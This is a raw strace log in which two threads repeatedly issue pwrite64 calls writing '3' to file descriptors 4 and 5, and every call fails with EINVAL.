[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
